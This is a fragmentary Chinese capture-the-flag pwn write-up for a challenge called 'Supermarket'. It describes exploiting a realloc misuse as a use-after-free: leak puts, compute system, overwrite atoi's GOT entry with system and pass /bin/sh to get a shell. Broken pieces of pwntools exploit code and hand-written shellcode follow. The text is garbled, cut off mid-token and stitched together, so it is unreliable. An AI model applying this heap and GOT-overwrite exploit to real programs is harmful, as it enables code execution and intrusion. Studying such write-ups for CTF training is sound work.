Pwn
1.Supermarket
程序realloc函数使用错误,可造成uaf利用,先泄露puts_addr,进而计算system_addr,之后将atoi@got覆盖为system,传入/bin/...= ELF('....= ELF('....rax
push rdx
pop rsi
"""
#[heap]:000055BF95A36028 and [rax], eax
add(-17,8,asm(code,arch...rcx
push rbx
pop rdx
"""
#[heap]:000055BF95A36047 add [rcx], ah
add(0,8,asm(code,arch